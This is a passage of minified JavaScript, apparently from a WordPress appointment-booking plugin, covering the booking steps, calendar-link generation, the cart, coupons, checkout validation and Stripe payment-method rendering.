e=this.isValidInput();this.$buttonNext.prop("disabled",!e),this.hideButtons&&this.$buttons.toggleClass("mpa-hide",!e)}show(){this.enable(),this.react(),this.$element.removeClass("mpa-hide"),this.readyPromise.finally((()=>this.showReady()))}showReady(){this.$element.addClass("mpa-loaded"),this.hideButtons||this.$buttons.removeClass("mpa-hide")}hide(){this.disable(),this.$element.addClass("mpa-hide")}enable(){this.isActive=!0,this.$buttonBack.prop("disabled",!1),this.$buttonNext.prop("disabled",!1)}disable(){this.isActive=!1,this.$buttonBack.prop("disabled",!0),this.$buttonNext.prop("disabled",!0)}cancel(e){void 0!==e&&e.stopPropagation(),this.isActive&&(this.disable(),this.triggerBack())}submit(e){if(void 0!==e&&e.stopPropagation(),!this.isActive||!this.isValidInput())return;this.disable();let t=this.maybeSubmit();null==t?this.triggerNext():"object"!=typeof t?t?this.triggerNext():this.cancelSubmission():t.then(this.triggerNext.bind(this),this.cancelSubmission.bind(this))}maybeSubmit(){}cancelSubmission(){this.enable(),this.react()}triggerBack(){this.$element.trigger("mpa_booking_step_back",{step:this.stepId})}triggerNext(){this.$element.trigger("mpa_booking_step_next",{step:this.stepId})}hideButtonBack(){this.$buttonBack.prop("disabled",!0),this.$buttonBack.toggleClass("mpa-hide",!0)}}class de{static calculateTimezoneOffset(e){if("UTC"===e)return 0;const[t,s]=e.split(":").map(Number);if(isNaN(t)||isNaN(s))throw new Error("Unknown timezone format: "+e);return 60*t+s}static applyTimezoneOffset(e,t){const s=new Date(e);return s.setMinutes(e.getMinutes()-t),s}static isTimezoneProvideByIANA(e){return/^[A-Za-z]+\/[A-Za-z_]+(\/[A-Za-z_]+)?$/.test(e)}static formatDateToCalendar(e){return e.toISOString().replace(/-|:|\.\d{3}/g,"")}static formatDateToCalendarLocal(e){return e.toISOString().replace(/-|:|\.\d{3}|Z/g,"")}static formatDateForOffsetTimeZone(e,t){const s=(new Date).getTimezoneOffset();let i=this.applyTimezoneOffset(e,s);const a=this.calculateTimezoneOffset(t);return i=this.applyTimezoneOffset(i,a),this.formatDateToCalendar(i)}static formatDateForIANATimeZone(e){const t=(new Date).getTimezoneOffset();let s=this.applyTimezoneOffset(e,t);return this.formatDateToCalendarLocal(s)}static formatDateForCalendar(e,t){return this.isTimezoneProvideByIANA(t)?this.formatDateForIANATimeZone(e):this.formatDateForOffsetTimeZone(e,t)}static createICSURL(e,t,s,i,a,r){const n=m().settings().getTimezone();let o=this.formatDateForCalendar(t,n),l=this.formatDateForCalendar(s,n);0===t.getHours()&&0===t.getMinutes()&&0===s.getHours()&&0===s.getMinutes()&&(o=o.replace(/T\d\d\d\d\d\d|Z/g,""),l=l.replace(/T\d\d\d\d\d\d|Z/g,""));const h=["BEGIN:VCALENDAR","VERSION:2.0",`PRODID:${m().settings().getBusinessName()}`];this.isTimezoneProvideByIANA(n)&&h.push("BEGIN:VTIMEZONE","TZID:"+n,"END:VTIMEZONE");let c={dtstamp:"DTSTAMP:"+this.formatDateToCalendar(new Date),uid:"UID:"+e,dtstart:"DTSTART"+(this.isTimezoneProvideByIANA(n)?";TZID="+n+":":":")+o,dtend:"DTEND"+(this.isTimezoneProvideByIANA(n)?";TZID="+n+":":":")+l,summary:"SUMMARY:"+i,description:"DESCRIPTION:"+a,location:"LOCATION:"+r};c=wp.hooks.applyFilters("mpa_prepare_vevent_data",c);let p=Object.values(c);h.push("BEGIN:VEVENT",...p,"END:VEVENT"),h.push("END:VCALENDAR");const d=h.join("\n"),u=new Blob([d],{type:"text/calendar"});return window.URL.createObjectURL(u)}static createGoogleCalendarURL(e,t,s,i,a){const r=new URL("https://www.google.com/calendar/render"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n);return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()&&(o=o.replace(/T\d\d\d\d\d\d|Z/g,""),l=l.replace(/T\d\d\d\d\d\d|Z/g,"")),r.search=new URLSearchParams({action:"TEMPLATE",text:s,dates:`${o}/${l}`,details:i,location:a}).toString(),this.isTimezoneProvideByIANA(n)&&r.searchParams.append("ctz",n),r.toString()}static createYahooCalendarURL(e,t,s,i,a){const r=new URL("https://calendar.yahoo.com/"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n),h={v:"60",view:"d",type:"20",title:s,desc:i,in_loc:a};return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()?(h.st=o.replace(/T\d\d\d\d\d\d|Z/g,""),h.dur="allday"):(h.st=o,h.et=l),r.search=new URLSearchParams(h).toString(),r.toString()}}class me{constructor(e,t){this.cart=t,this.$bookingDetailsSection=e,this.$bookingCartItems=this.$bookingDetailsSection.find(".booking-reservations"),this.$bookingCartItem=this.$bookingCartItems.find(".reservation"),this.$addToCalendarGoogle=this.$bookingCartItem.find(".mpa-add-to-calendar-link--google"),this.$addToCalendarApple=this.$bookingCartItem.find(".mpa-add-to-calendar-link--apple"),this.$addToCalendarOutlook=this.$bookingCartItem.find(".mpa-add-to-calendar-link--outlook"),this.$addToCalendarYahoo=this.$bookingCartItem.find(".mpa-add-to-calendar-link--yahoo")}assignURL(e,t){e.attr("href",t)}initBookingCart(){this.$bookingCartItems.empty(),wp.hooks.doAction("mpa_booking_details_section_init",this.$bookingDetailsSection,this.cart),this.cart.items.forEach((e=>{let t=this.$bookingCartItem.clone();this.$bookingCartItems.append(t);const s=e.getService(),i=s.getName(),a=e.employee.name+". "+s.getQuantityLabel()+": "+e.getCapacity()+".";let r=i;e.getCapacity()>1&&(r+=" ",r+='<span class="mpa-reservation-capacity">',r+=s.getQuantityLabel()+": "+e.getCapacity(),r+="</span>"),t.find(".reservation-title").html(r),t.find(".reservation-date").html(f(e.date)),t.find(".reservation-time").html(e.time.toString());const n=de.createICSURL(e.getItemId(),e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters("mpa_booking_cart_item_location_ics",e.location.name,e)),o=de.createGoogleCalendarURL(e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters("mpa_booking_cart_item_location_google",e.location.name,e)),l=de.createYahooCalendarURL(e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters("mpa_booking_cart_item_location_yahoo",e.location.name,e));this.assignURL(t.find(".mpa-add-to-calendar-link--google"),o),this.assignURL(t.find(".mpa-add-to-calendar-link--apple"),n),this.assignURL(t.find(".mpa-add-to-calendar-link--outlook"),n),this.assignURL(t.find(".mpa-add-to-calendar-link--yahoo"),l)})),this.$bookingDetailsSection.toggleClass("mpa-hide",!1)}reset(){this.$bookingDetailsSection.toggleClass("mpa-hide",!0);const e="#";this.assignURL(this.$addToCalendarGoogle,e),this.assignURL(this.$addToCalendarApple,e),this.assignURL(this.$addToCalendarOutlook,e),this.assignURL(this.$addToCalendarYahoo,e)}}class ue extends pe{setupProperties(){super.setupProperties(),this.hideButtons=!0,this.isPosted=!1,this.isBooked=!1,this.$message=this.$element.find(".mpa-message").first(),this.$buttonReset=this.$buttons.find(".mpa-button-reset"),this.$bookingDetails=this.$element.find(".mpa-booking-details").first(),this.$bookingDetails.length>0&&(this.bookingDetails=new me(this.$bookingDetails,this.cart))}reload(){return this.isPosted=!1,this.isBooked=!1,this.setMessage(u("Making a reservation...","motopress-appointment")+' <span class="mpa-preloader"></span>'),this.bookingDetails&&this.bookingDetails.reset(),Promise.resolve(this)}addListeners(){super.addListeners(),this.$buttonReset.on("click",this.resetForm.bind(this))}theId(){return"booking"}react(){this.isPosted&&(this.$buttons.removeClass("mpa-hide"),this.$buttonBack.toggleClass("mpa-hide",this.isBooked),this.$buttonReset.toggleClass("mpa-hide",!this.isBooked||this.isRedirectNeeded()))}show(){super.show(),this.createBooking()}createBooking(){c("/bookings",{...wp.hooks.applyFilters("mpa_booking_cart_data",this.cart.toArray()),nonce:this.cart.getBookingNonce()}).then((e=>{this.isRedirectNeeded()?this.redirectPayment():(this.isPosted=this.isBooked=!0,this.cart.paymentDetails.booking_id=e.booking_id,wp.hooks.doAction("mpa_booking_cart_response",e,this.cart),this.setMessage(e.message),this.bookingDetails&&this.bookingDetails.initBookingCart(),this.react())}),(e=>{this.isPosted=!0,this.setMessage(e.message),this.react()}))}showReady(){super.showReady(),this.$buttonBack.addClass("mpa-hide"),this.$buttonReset.addClass("mpa-hide")}setMessage(e){this.$message.html(e)}redirectPayment(){this.setMessage(u("You will be redirected to a secure page to complete the payment.","motopress-appointment"));let e=this.cart.getPaymentDetails();window.location.href=e.redirect_url}isRedirectNeeded(){let e=this.cart.getPaymentDetails();return"redirect_url"in e&&""!=e.redirect_url}resetForm(e){e.preventDefault(),this.isPosted&&this.isBooked&&this.$element.trigger("mpa_reset_booking")}}function ge(e){let t="";for(let s in e)t+=" "+s+'="'+e[s]+'"';return t}function ye(e,t={}){return"<button"+ge(t=jQuery.extend({},{type:"button",class:"button"},t))+">"+e+"</button>"}function fe(e,t){let s={service_id:".mpa-service-id",service_name:".mpa-service-name",service_thumbnail:".mpa-service-thumbnail",employee_id:".mpa-employee-id",employee_name:".mpa-employee-name",location_id:".mpa-location-id",location_name:".mpa-location-name",reservation_date:".mpa-reservation-date",reservation_save_date:".mpa-reservation-save-date",reservation_time:".mpa-reservation-time",reservation_period:".mpa-reservation-period",reservation_save_period:".mpa-reservation-save-period",reservation_capacity:".mpa-reservation-capacity",reservation_clients:".mpa-reservation-clients",reservation_clients_count:".mpa-reservation-clients-count",reservation_price:".mpa-reservation-price"},i=t.clone();i.attr("data-id",e.getItemId());let a=e.getCapacityOptions();for(let t in s){let n=s[t],o=i.find(n).first(),l="{"+t+"}";if(!(o.length>0?o.html():"").includes(l))continue;let h="";switch(t){case"service_id":h=e.service.id;break;case"service_name":h=e.service.name;break;case"service_thumbnail":h=ke(e.service.thumbnail);break;case"employee_id":h=e.employee.id;break;case"employee_name":h=e.employee.name;break;case"location_id":h=e.location.id;break;case"location_name":h=e.location.name;break;case"reservation_date":h=f(e.date);break;case"reservation_save_date":h=f(e.date,"internal");break;case"reservation_time":h=e.time.toString("short");break;case"reservation_period":h=e.time.toString();break;case"reservation_save_period":h=e.time.toString("internal");break;case"reservation_capacity":h=Se(r(a,a),e.capacity);break;case"reservation_clients":h=we(r(a,a),e.capacity);break;case"reservation_clients_count":h=e.capacity;break;case"reservation_price":let t=e.employee.id;h=ve(e.service.getPrice(t,e.capacity))}o.html(o.html().replace(l,h))}return i.find(".cell-people .cell-title").html(e.getService().getQuantityLabel()),i.find('[name*="{item_id}"]').each(((t,s)=>{s.name=s.name.replace("{item_id}",e.getItemId())})),1===a.length&&i.find(".cell-people").addClass("mpa-hide"),i}function be(e){let t="";t+='<table class="mpa-order widefat">',t+="<tbody>";for(let s of e.products)t+='<tr class="mpa-order-service">',t+='<td class="column-service">',t+='<span class="mpa-service-name">'+s.name+"</span>",s.capacity>1&&(t+='<span class="mpa-reservation-capacity">',t+=s.quantity_label+": "+s.capacity,t+="</span>"),t+="</td>",t+='<td class="column-price">'+_e(s.price)+"</td>",t+="</tr>";return t+='<tr class="mpa-order-subtotal">',t+='<th class="column-subtotal">'+u("Subtotal","motopress-appointment")+"</th>",t+='<th class="column-price">'+_e(e.subtotal)+"</th>",t+="</tr>",t+="</tbody>",t+="<tfoot>",e.coupon&&(t+='<tr class="mpa-order-coupon">',t+='<th class="column-coupon">',t+=u("Coupon: %s","motopress-appointment").replace("%s",e.coupon.code),t+="</th>",t+='<td class="column-price">',t+=_e(-e.coupon.amount),t+=" ",t+='<a href="#" class="mpa-remove-coupon">'+u("Remove","motopress-appointment")+"</a>",t+="</td>",t+="</tr>"),t+='<tr class="mpa-order-total">',t+='<th class="column-total">'+u("Total","motopress-appointment")+"</th>",t+='<th class="column-price">'+_e(e.total)+"</th>",t+="</tr>",t+="</tfoot>",t+="</table>",t}function ve(e,t={}){let s=m().settings();t=jQuery.extend({currency_symbol:s.getCurrencySymbol(),currency_position:s.getCurrencyPosition(),decimal_separator:s.getDecimalSeparator(),thousand_separator:s.getThousandSeparator(),decimals:s.getDecimalsCount(),literal_free:!0,trim_zeros:!0},t);let i=function(e,t=0,s=".",i=","){let a,r,n,o,l,h="";return e<0&&(h="-",e*=-1),a=parseInt(e=(+e||0).toFixed(t))+"",(r=a.length)>3?r%=3:r=0,l=r?a.substr(0,r)+i:"",n=a.substr(r).replace(/(\d{3})(?=\d)/g,"$1"+i),o=t?s+Math.abs(e-a).toFixed(t).replace(/-/,0).slice(2):"",h+l+n+o}(Math.abs(e),t.decimals,t.decimal_separator,t.thousand_separator),a="mpa-price";if(0==e&&(a+=" mpa-zero-price"),0==e&&t.literal_free)a+=" mpa-price-free",i=g("Free","Zero price","motopress-appointment");else{t.trim_zeros&&(i=function(e,t=null){null==t&&(t=m().settings().getDecimalSeparator());let s=new RegExp("\\"+t+"0+$");return e.replace(s,"")}(i));let s='<span class="mpa-currency">'+t.currency_symbol+"</span>";switch(t.currency_position){case"before":i=s+i;break;case"after":i+=s;break;case"before_with_space":i=s+"&nbsp;"+i;break;case"after_with_space":i=i+"&nbsp;"+s}e<0&&(i="-"+i)}return'<span class="'+a+'">'+i+"</span>"}function _e(e,t={}){return t.literal_free=!1,ve(e,t)}function Se(e,t,s={}){let i="<select"+ge(s)+">";return i+=we(e,t),i+="</select>",i}function Pe(e,t,s=!1){let i="";return i='<option value="'+e+'"'+(s?' selected="selected"':"")+">",i+=t,i+="</option>",i}function we(e,t){let s="";for(let i in e)s+=Pe(i,e[i],i==t);return s}function Ce(e,t,s,i){let a="";const r=String(i);for(const[e,s]of Object.entries(t))a+=Pe(e,s,e===r);for(let e of s)a+=Pe(String(e.id),e.name,String(e.id)===r);e.empty().append(a).val(r)}function ke(e){let{width:t,height:s}=m().settings().getThumbnailSize();return"<img"+ge({width:t,height:s,src:e,class:"attachment-thumbnail size-thumbnail"})+">"}class $e extends pe{setupProperties(){super.setupProperties(),this.isBeginCheckoutEventSent=!1,this.$cart=this.$element.find(".mpa-cart"),this.$items=this.$cart.find(".mpa-cart-items"),this.$itemTemplate=this.$cart.find(".mpa-cart-item-template"),this.$noItems=this.$element.find(".no-items"),this.$totalPrice=this.$element.find(".mpa-cart-total-price"),this.$buttonNew=this.$buttons.find(".mpa-button-new")}theId(){return"cart"}addListeners(){super.addListeners(),this.$buttonNew.on("click",this.createNew.bind(this))}load(){if(this.$itemTemplate.remove(),this.$itemTemplate.removeClass("mpa-cart-item-template"),null!==this.cart.getActiveItem()){let e=this.cart.getActiveItem(),t=e.getItemId(),s=e.getDate(),i=e.getTime();this.cart.getItems().forEach((a=>{a.isSet()&&a.getItemId()!=t&&a.isAtTime(s,i)&&a.removeBookingVariatForEmployee(e.getEmployeeId())}))}this.updateActiveItemCapacity(),this.refreshCart(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){this.$items.find(".mpa-cart-item").remove(),this.$noItems.removeClass("mpa-hide"),this.isBeginCheckoutEventSent=!1}updateActiveItemCapacity(){let e=this.cart.getActiveItem();if(!e)return;let t=e.getMinCapacity(),s=e.getMaxCapacity();var i,a,r;e.setCapacity((i=e.getCapacity(),a=t,r=s,Math.max(a,Math.min(i,r))))}refreshCart(){this.cart.getActiveItemId(),this.cart.items.forEach(((e,t,s)=>{let i='.mpa-cart-item[data-id="'+s+'"]',a=this.$items.find(i);0===a.length?(a=this.addItem(e),this.bindListeners(a)):(a=this.updateItem(a,e),this.bindListeners(a))})),this.updateTotalPrice()}addItem(e){let t=fe(e,this.$itemTemplate);return this.$items.append(t),this.$noItems.addClass("mpa-hide"),t}updateItem(e,t){let s=fe(t,this.$itemTemplate);return e.replaceWith(s),s}bindListeners(e){let t=e.data("id"),s=this.cart.getItem(t),i=e.find(".mpa-reservation-capacity select, .mpa-reservation-clients select"),a=e.find(".mpa-reservation-price"),r=e.find(".mpa-button-remove, .mpa-button-edit-or-remove"),n=e.find(".mpa-button-edit, .mpa-button-edit-or-remove");i.on("change",(t=>{let i=j(t.target.value);s.setCapacity(i);let r=s.getBookingVariantForCapacity(i),n=r.employeeId,o=r.locationId;if(s.getEmployeeId()!=n)s.setEmployee(n,!1),s.setLocation(o,!1),e=this.updateItem(e,s),this.bindListeners(e);else{let e=s.service.getPrice(n,i);a.html(ve(e))}this.updateTotalPrice()})),this.isMultibookingEnabled()&&r.on("click",(s=>{s.stopPropagation(),e.remove();let i=this.cart.getItem(t);this.cart.removeItem(t),this.cart.isEmpty()&&this.$noItems.removeClass("mpa-hide"),this.updateTotalPrice(),this.react(),document.dispatchEvent(new CustomEvent("mpa_remove_from_cart",{detail:{cartItem:i,currencyCode:m().settings().getCurrency()}}))})),this.isMultibookingEnabled()||n.on("click",(()=>{this.cart.setActiveItem(t),this.cancel()}))}updateTotalPrice(){this.$totalPrice.html(_e(this.cart.getTotalPrice()))}isMultibookingEnabled(){return m().settings().isMultibookingEnabled()}isValidInput(){return!this.cart.isEmpty()}createNew(){this.isActive&&(this.disable(),this.triggerNew())}triggerNew(){this.$element.trigger("mpa_booking_step_new",{step:this.stepId})}maybeSubmit(){this.isBeginCheckoutEventSent||(document.dispatchEvent(new CustomEvent("mpa_begin_checkout",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}})),this.isBeginCheckoutEventSent=!0)}}class Te{constructor(e,t){this.cart=t,this.$element=e,this.$couponCode=e.find('[name="coupon_code"]'),this.$applyButton=e.find(".mpa-apply-coupon-button"),this.$messageHolder=e.find(".mpa-message-wrapper"),this.$preloader=e.find(".mpa-preloader"),this.$parentForm=e.parents(".mpa-booking-step").first(),this.addListeners(),this.reset()}addListeners(){this.$couponCode.on("keydown",(e=>{"Enter"===e.code&&this.onEnter(e)})),this.$applyButton.on("click",this.onSubmit.bind(this))}onEnter(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(e.target.value)}onSubmit(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(this.$couponCode.val())}applyCouponCode(e){this.clearMessage(),e?(this.pauseAll(),ie().coupon().findByCode(e).then((e=>{e.isApplicableForCart(this.cart)?(this.cart.setCoupon(e),this.reset(),this.triggerApplied(e),this.setMessage(u("Coupon code applied successfully.","motopress-appointment"))):this.setMessage(u("Sorry, your booking is not eligible for this coupon.","motopress-appointment")),this.unpauseAll()}),(e=>{this.setMessage(e.message),this.unpauseAll()}))):this.setMessage(u("Coupon code is empty.","motopress-appointment"))}reset(){this.$couponCode.val(""),this.clearMessage(),0===this.cart.getTotalPrice()?(this.disable(),this.$element.addClass("mpa-hide")):(this.enable(),this.$element.removeClass("mpa-hide"))}disable(){this.$couponCode.prop("disabled",!0),this.$applyButton.prop("disabled",!0)}enable(){this.$couponCode.prop("disabled",!1),this.$applyButton.prop("disabled",!1)}pauseAll(){this.disable(),this.showPreloader(),this.$parentForm.trigger("mpa_booking_step_disable")}unpauseAll(){this.enable(),this.hidePreloader(),this.$parentForm.trigger("mpa_booking_step_enable")}triggerApplied(e){this.$parentForm.trigger("mpa_booking_coupon_applied",{coupon:e})}setMessage(e){this.$messageHolder.html(e).removeClass("mpa-hide")}clearMessage(){this.$messageHolder.html("").addClass("mpa-hide")}showPreloader(){this.$preloader.removeClass("mpa-hide")}hidePreloader(){this.$preloader.addClass("mpa-hide")}}function Ie(e){const i=jQuery("<span/>",{id:e.attr("id")+"_error",class:"mpa-phone-field-error mpa-hide",text:u("Phone number is invalid.","motopress-appointment")});e.after("<br>",i);const a=s(e[0],{separateDialCode:!0,initialCountry:t.settings.country,hiddenInput:e.attr("name"),utilsScript:t.urls.plugin+"assets/js/intl-tel-input-17.0.19/js/utils.js"});a.promise.then((()=>{e.val()&&r(),e.on("countrychange",(e=>{r()})),e.on("input",(e=>{r()}))}));const r=()=>{a.isValidNumber()?(jQuery("input[type='hidden'][name='"+e.attr("name")+"']").val(a.getNumber(intlTelInputUtils.numberFormat.E164)),e.removeClass("mpa-phone-number--invalid"),i.addClass("mpa-hide")):(e.addClass("mpa-phone-number--invalid"),i.removeClass("mpa-hide"))};return a}window.mpa_intl_tel_input=Ie;class De extends pe{setupProperties(){super.setupProperties(),this.name="",this.email="",this.phone="",this.notes="",this.acceptTerms=!1,this.createAccount=!1,this.$checkoutForm=this.$element.find(".mpa-checkout-form"),this.$name=this.$element.find(".mpa-customer-name"),this.$email=this.$element.find(".mpa-customer-email"),this.$phone=this.$element.find(".mpa-customer-phone"),this.$notes=this.$element.find(".mpa-customer-notes"),this.$order=this.$element.find(".mpa-order"),wp.hooks.doAction("mpa_step_checkout_form",this.$checkoutForm),0!==this.$phone.length&&(this.phoneValidator=Ie(this.$phone)),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(".mpa-accept-terms")),this.$messageHolder=this.$element.find(".mpa-message").first(),this.$preloader=this.$element.find(".mpa-loading"),m().settings().isAllowCustomerAccountCreation()&&(this.$createAccount=this.$element.find(".mpa-customer-create-account"),this.$createAccountDescription=this.$element.find(".mpa-customer-create-account-description"),this.setProperty("createAccount",this.$createAccount.prop("checked"))),t&&t.currentCustomer&&t.currentCustomer.name&&(this.setProperty("name",t.currentCustomer.name),this.$name.val(t.currentCustomer.name)),t&&t.currentCustomer&&t.currentCustomer.email&&(this.setProperty("email",t.currentCustomer.email),this.$email.val(t.currentCustomer.email)),t&&t.currentCustomer&&"undefined"!==t.currentCustomer.phone&&(this.setProperty("phone",t.currentCustomer.phone),this.phoneValidator.setNumber(t.currentCustomer.phone),this.$phone.trigger("input")),this.service=null,this.couponSection=null}theId(){return"checkout"}propertiesSchema(){return{name:{type:"string",default:""},email:{type:"string",default:""},phone:{type:"string",default:""},notes:{type:"string",default:""},acceptTerms:{type:"bool",default:!1},$createAccount:{type:"bool",default:!1}}}addListeners(){super.addListeners(),this.$checkoutForm.on("submit",(e=>!1)),this.$name.on("input",(e=>this.setProperty("name",e.target.value))),this.$email.on("input",(e=>this.setProperty("email",e.target.value))),this.$phone.on("input",(e=>{this.setProperty("phone",""),this.phoneValidator.isValidNumber()&&this.setProperty("phone",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$phone.on("countrychange",(e=>{this.setProperty("phone",""),this.phoneValidator.isValidNumber()&&this.setProperty("phone",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$notes.on("input",(e=>this.setProperty("notes",e.target.value))),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on("input",(e=>this.setProperty("acceptTerms",e.target.checked))),m().settings().isAllowCustomerAccountCreation()&&this.$createAccount.on("input",(e=>{this.setProperty("createAccount",e.target.checked),e.target.checked?this.$createAccountDescription.removeClass("mpa-hide"):this.$createAccountDescription.addClass("mpa-hide")})),this.$element.on("mpa_booking_step_disable",this.disable.bind(this)),this.$element.on("mpa_booking_step_enable",this.enable.bind(this)),this.$element.on("mpa_booking_coupon_applied",(()=>this.updateOrder()))}load(){this.couponSection?this.couponSection.reset():m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(".mpa-coupon-details"),this.cart)),this.cart.hasCoupon()&&this.cart.testCoupon(),this.updateOrder(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){wp.hooks.doAction("mpa_step_checkout_reset",this.$checkoutForm),this.$notes.val(""),this.resetProperty("notes"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop("checked",!1),this.resetProperty("acceptTerms")),m().settings().isAllowCustomerAccountCreation()&&(this.clearMessage(),this.$createAccount.prop("checked",!1),this.resetProperty("createAccount")),this.couponSection&&this.couponSection.reset()}updateOrder(){if(0===this.$order.length)return;this.$order.empty(),this.$order.html(be(this.cart.getOrder()));let e=this.$order.find(".mpa-remove-coupon");e.length>0&&e.on("click",this.removeCoupon.bind(this))}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.updateOrder()}isValidInput(){return this.isValidName()&&this.isValidEmail()&&this.isValidPhone()&&this.isValidAcceptTerms()&&wp.hooks.applyFilters("mpa_step_checkout_form_valid",!0,this.$checkoutForm)}isValidName(){return!(this.$name.length>0&&this.$name.is("[required]"))||""!==this.name}isValidEmail(){return!(this.$email.length>0&&this.$email.is("[required]"))||""!==this.email&&!!this.email.match(/.+@.+/)}isValidPhone(){return!(this.$phone.length>0&&this.$phone.is("[required]"))||this.phoneValidator.isValidNumber()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||m().settings().isPaymentsEnabled()||this.acceptTerms}react(){super.react(),this.$buttonNext.prop("disabled",!1)}setMessage(e){this.$messageHolder.html(e).removeClass("mpa-hide")}clearMessage(){this.$messageHolder.html("").addClass("mpa-hide")}showPreloader(){this.$preloader.removeClass("mpa-hide")}hidePreloader(){this.$preloader.addClass("mpa-hide")}async maybeSubmit(){if(wp.hooks.hasFilter("mpa_step_checkout_maybe_submit")&&await wp.hooks.applyFilters("mpa_step_checkout_maybe_submit",{},this.$checkoutForm),this.couponSection&&this.couponSection.disable(),this.cart.setCustomerDetails({name:this.name,email:this.email,phone:this.phone,notes:this.notes,acceptTerms:this.acceptTerms}),this.createAccount&&""!==this.email){this.showPreloader();return c("/customers/create",{name:this.name,email:this.email,phone:this.phone}).then((e=>{this.hidePreloader(),this.clearMessage()}),(e=>{throw this.hidePreloader(),this.setMessage(e),e}))}}}class Ee{setupProperties(){this.gatewayId="basic",this.settings=this.getDefaults(),this.$mountWrapper=null,this.loadPromise=null,this.isEnabled=!1,this.isMounted=!1,this.haveErrors=!1}constructor(e,t){this.setupProperties(),this.$mountWrapper=e,this.cart=t}load(){return this.addListeners(),this.loadPromise=Promise.resolve(this),this.loadPromise}addListeners(){}onCartChange(e){}mount(e){}ready(){return this.loadPromise}enable(){this.isEnabled||(this.isMounted||(this.mount(this.$mountWrapper),this.isMounted=!0),this.$mountWrapper.removeClass("mpa-hide"),this.isEnabled=!0)}disable(){this.isEnabled&&(this.$mountWrapper.addClass("mpa-hide"),this.isEnabled=!1)}isValid(){return!this.haveErrors}processPayment(e,t){return c("/payments/prepare",{payment_details:e.paymentDetails})}getDefaults(){return{country:m().settings().getCountry(),redirect_url:{payment_received:m().settings().getReservationReceivedPageUrl(),failed_transaction:m().settings().getFailedTransactionPageUrl()}}}reset(){}}class Ae extends Ee{enable(){}}class Me{setupProperties(){this.methods=null,this.uid="",this.paymentMethods=new M,this.selectedMethod="",this.$mountWrapper=null,this.$errorsWrapper=null,this.$gatewayPreloader=null,this.mountedMethods=[]}constructor(e){this.setupProperties(),this.methods=e,this.uid=B(),this.addPaymentMethods(this.methods)}mountedMethod(){let e=!1;Object.entries(this.mountedMethods).forEach(((t,s)=>{s||(e=!0)})),e&&this.$gatewayPreloader.addClass("mpa-hide")}addPaymentMethods(e){for(const t in e)this.paymentMethods.includesKey(t)||(this.paymentMethods.push(t,{$nav:null,$fields:null}),this.selectedMethod||(this.selectedMethod=t))}isMounted(){return null!==this.$mountWrapper}mount(e){e.append(this.render()),this.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader"),this.$gatewayPreloader.removeClass("mpa-hide"),this.paymentMethods.forEach(((t,s,i)=>{t.$nav=e.find(".mpa-stripe-payment-method."+i),t.$fields=e.find(".mpa-stripe-payment-fields."+i);const a=this.methods[i].getControl();if(null!==a){const e=this.getElementSelector(i);this.mountedMethods[i]=!1,a.mount(e),a.on("ready",(t=>{this.mountedMethod(t),document.querySelector(e).classList.remove("mpa-preloader-skeleton-pulsate")}))}"card"===i&&this.methods.card.isCanMakePaymentRequest().then((e=>{const t=this.getElementSelector("payment-request-button"),s=document.querySelector(t);s&&(e?(this.mountedMethods.payment_request_button=!1,this.methods.card.paymentRequestButton.mount(t),this.methods.card.paymentRequestButton.on("ready",(e=>{this.mountedMethod("payment_request_button"),s.classList.remove("mpa-preloader-skeleton-pulsate")}))):(s.classList.add("mpa-hide"),document.querySelector(".mpa-stripe-payment-request-button-separator").classList.add("mpa-hide")))}))})),e.find('input[name="stripe_payment_method"]').on("change",this.onPaymentMethodChange.bind(this)),this.$mountWrapper=e,this.$errorsWrapper=e.find(".mpa-errors")}onPaymentMethodChange(e){let t=null;switch(this.selectedMethod){case"payment":case"card":case"ideal":case"sepa_debit":t=this.methods[this.selectedMethod].getControl()}null!==t&&t.clear(),this.selectPaymentMethod(e.target.value)}selectPaymentMethod(e){e!==this.selectedMethod&&(this.togglePaymentMethod(this.selectedMethod,!1),this.togglePaymentMethod(e,!0),this.selectedMethod=e)}togglePaymentMethod(e,t){if(this.isMounted()&&this.paymentMethods.includesKey(e)){let s=this.paymentMethods.find(e);s.$nav.toggleClass("active",t),s.$fields.toggleClass("mpa-hide",!t)}}getElementSelector(e){return"sepa_debit"===e&&(e="iban"),"#mpa-stripe-"+e+"-element-"+this.uid}render(){let e="";e+='<section class="mpa-stripe-payment-container">',this.paymentMethods.length>1&&(e+=this.renderNavigation());for(let t of this.paymentMethods.keys)e+=this.renderFields(t);return e+='<div class="mpa-errors"></div>',e+="</section>",e}renderNavigation(){let e="";e+='<nav class="mpa-stripe-payment-methods">',e+="<ul>";for(let t of this.paymentMethods.keys){let s=t===this.selectedMethod;e+='<li class="mpa-stripe-payment-method '+t+(s?" active":"")+'">',e+="<label>",e+='<input type="radio" name="stripe_payment_method" value="'+t+'"'+(s?' checked="checked"':"")+">",e+=" "+this.methods[t].title,e+="</label>",e+="</li>"}return e+="</ul>",e+="</nav>",e}renderFields(e){let t="";switch(t+='<div class="mpa-stripe-payment-fields '+e+(e===this.selectedMethod?"":" 